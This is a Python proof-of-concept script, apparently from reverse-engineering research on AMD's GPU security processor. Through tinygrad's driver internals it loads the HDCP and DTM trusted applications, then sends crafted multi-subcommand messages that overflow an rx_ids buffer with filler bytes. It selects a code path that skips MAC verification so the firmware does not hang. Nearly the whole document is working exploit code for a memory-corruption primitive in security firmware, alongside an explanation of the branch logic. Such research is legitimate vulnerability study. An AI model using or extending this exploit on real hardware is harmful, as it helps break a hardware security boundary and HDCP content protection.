1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
|
"""NEW triggerable primitive: HANG-FREE rx_ids overflow via branch B.
subcmd12 branch B (topology_type==6 && mode!=20) copies 5*msg[2] into rx_ids and
then EARLY-RETURNS at the seq check (108) BEFORE hdcp_verify_mac -> no hang.
Branch A (mode==20) forces seq=0 and always reaches the MAC -> hang at N>=53.
We set mode!=20 with subcommand 20 (sub_402380: mode = data[3]+20) placed as
sub#1 in a multi-subcommand cmd 0x0F message, followed by subcommand 12.
Discriminator (non-destructive): sub-status 106 = branch A (reached MAC),
108 = branch B (seq early return). Same small N, with/without the subcmd20
prefix, must flip 106->108. Then large N stays hang-free = the overflow fires
without wedging.
message layout (buffer b, handler a1 = b+0xC):
b[0x0C] slot ; b[0x10] desc1.id ; b[0x14] desc1.len ; b[0x18] desc2.id ;
b[0x1C] desc2.len ; data@b[0x28]; sub2 data @ b[0x28+desc1.len]
"""
import ctypes, struct, time
from tinygrad import Device
from tinygrad.runtime.autogen.am import am
from tinygrad.helpers import lo32, hi32
d=Device["AMD"]; adev=d.iface.dev_impl; psp=adev.psp
SZ=ctypes.sizeof(am.struct_psp_gfx_cmd_resp); C2P=90112+64
def crash(): return {n:adev.rreg(C2P+n) for n in (82,83,84,85,86)}
def stat(): return int.from_bytes(bytes(adev.vram.view(psp.cmd_paddr,SZ)[:])[864:868],"little")
def alloc(n):
pa=adev.mm.palloc(n,align=0x1000,zero=True); return pa,adev.paddr2mc(pa)
P='/Users/user/dev/amd-psp-re/psp_out/'
def load(cmd,blob):
ap,amc=alloc(0x40000); cp,cmc=alloc(0x8000)
adev.vram.view(ap,len(blob))[:]=blob; adev.gmc.flush_hdp()
adev.vram.view(psp.cmd_paddr,SZ)[:]=b"\x00"*SZ
c=am.struct_psp_gfx_cmd_resp(cmd_id=cmd); t=c.cmd.cmd_load_ta
t.app_phy_addr_hi,t.app_phy_addr_lo=hi32(amc),lo32(amc); t.app_len=len(blob)
t.cmd_buf_phy_addr_hi,t.cmd_buf_phy_addr_lo=hi32(cmc),lo32(cmc); t.cmd_buf_len=0x8000
r=psp._ring_submit(c); return r.resp.session_id,cp
load(am.GFX_CMD_ID_LOAD_ASD, open(P+'asd_full.bin','rb').read())
dtm_sid,dtm_shm=load(am.GFX_CMD_ID_LOAD_TA, open(P+'dtm_full.bin','rb').read())
sid,shm=load(am.GFX_CMD_ID_LOAD_TA, open(P+'hdcp_full.bin','rb').read())
def inv(s,sh,buf,tc):
adev.vram.view(sh,0x8000)[:]=bytes(buf); adev.gmc.flush_hdp()
adev.vram.view(psp.cmd_paddr,SZ)[:]=b"\x00"*SZ
ic=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_INVOKE_CMD); iv=ic.cmd.cmd_invoke_cmd
iv.session_id,iv.ta_cmd_id=s,tc; t0=time.time()
try: psp._ring_submit(ic); return 0, bytes(adev.vram.view(sh,0x2000)[:]), time.time()-t0
except RuntimeError: return stat(), bytes(adev.vram.view(sh,0x2000)[:]), time.time()-t0
except TimeoutError: return "TIMEOUT",None,time.time()-t0
def topo(h):
b=bytearray(0x8000); struct.pack_into('<I',b,0,2)
struct.pack_into('<10I',b,0x10,h,1,1,0,0,0,0,0,0,0)
return inv(dtm_sid,dtm_shm,b,2)[1]
def hdcp(cmd,mut):
b=bytearray(0x8000); struct.pack_into('<I',b,0,cmd); mut(b)
ps,out,dt=inv(sid,shm,b,cmd)
if out is None: return ps,None,None,dt
return ps, struct.unpack_from('<I',out,4)[0], out, dt
for h in range(8): topo(h)
ps,ret,out,dt=hdcp(0x0E, lambda b: struct.pack_into('<I',b,0xC,0))
slot=struct.unpack_from('<I',out,0x1410)[0]
print("open slot -> ta_ret=%s slot=%s" % (ret,slot))
def sub12_only(b,N):
# single subcommand 12 as dispatch#1 (mode stays 20 -> branch A)
struct.pack_into('<I',b,0xC,slot)
struct.pack_into('<I',b,0x10,12) # desc1.id = 12
struct.pack_into('<I',b,0x14,5*N+26) # desc1.len -> rxinfo len = 5N+25
b[0x28]=12 # data id match
# rxinfo msg = b+0x29 : msg[0..]=0, msg[2]=N, seq(msg6)=1
b[0x29]=0; b[0x2A]=0; b[0x2B]=N&0xFF
b[0x2F]=1 # msg[6] seq nonzero
for k in range(0x35,0x35+5*N): b[k]=0x41
def sub20_then_sub12(b,N,modebyte):
struct.pack_into('<I',b,0xC,slot)
struct.pack_into('<I',b,0x10,20) # desc1.id = 20 (set mode)
struct.pack_into('<I',b,0x14,6) # desc1.len = 6 -> handler a3=5
struct.pack_into('<I',b,0x18,12) # desc2.id = 12 (rxinfo)
struct.pack_into('<I',b,0x1C,5*N+26) # desc2.len -> rxinfo len = 5N+25
# sub#1 data @ b[0x28], 6 bytes: id + a3[1..5]
b[0x28]=20; b[0x29]=0; b[0x2A]=0; b[0x2B]=modebyte; b[0x2C]=0; b[0x2D]=0
# sub#2 data @ b[0x28+6]=b[0x2E]
base=0x2E
b[base]=12
msg=base+1 # rxinfo msg
b[msg+0]=0; b[msg+1]=0; b[msg+2]=N&0xFF
b[msg+6]=1 # seq nonzero
src=msg+25
for k in range(src,src+5*N): b[k]=0x41
def sub(out,off): return struct.unpack_from('<I',out,off)[0] if out else None
print("\n%-46s %-9s %-7s %-9s %s" % ("case","psp","ta_ret","sub@1424","elapsed"))
def run(label,mut):
ps,ret,out,dt=hdcp(0x0F,mut)
s=sub(out,0x1424)
print("%-46s %-9s %-7s %-9s %6.3fs" % (label,ps,ret,s,dt))
if ps=="TIMEOUT": print(" -> HUNG. sOS=%s crash=%s"%(psp.is_sos_alive(),{k:hex(v) for k,v in crash().items()}))
return ps,ret,s,dt
run("A. sub12 N=52 NO prefix (expect branch A/MAC=106)", lambda b: sub12_only(b,52))
run("B. [sub20 mode=21][sub12 N=52] (expect branchB=108)", lambda b: sub20_then_sub12(b,52,1))
run("C. [sub20 mode=21][sub12 N=102] 6B OOB, hang-free?", lambda b: sub20_then_sub12(b,102,1))
print("\nsOS alive:", psp.is_sos_alive())
|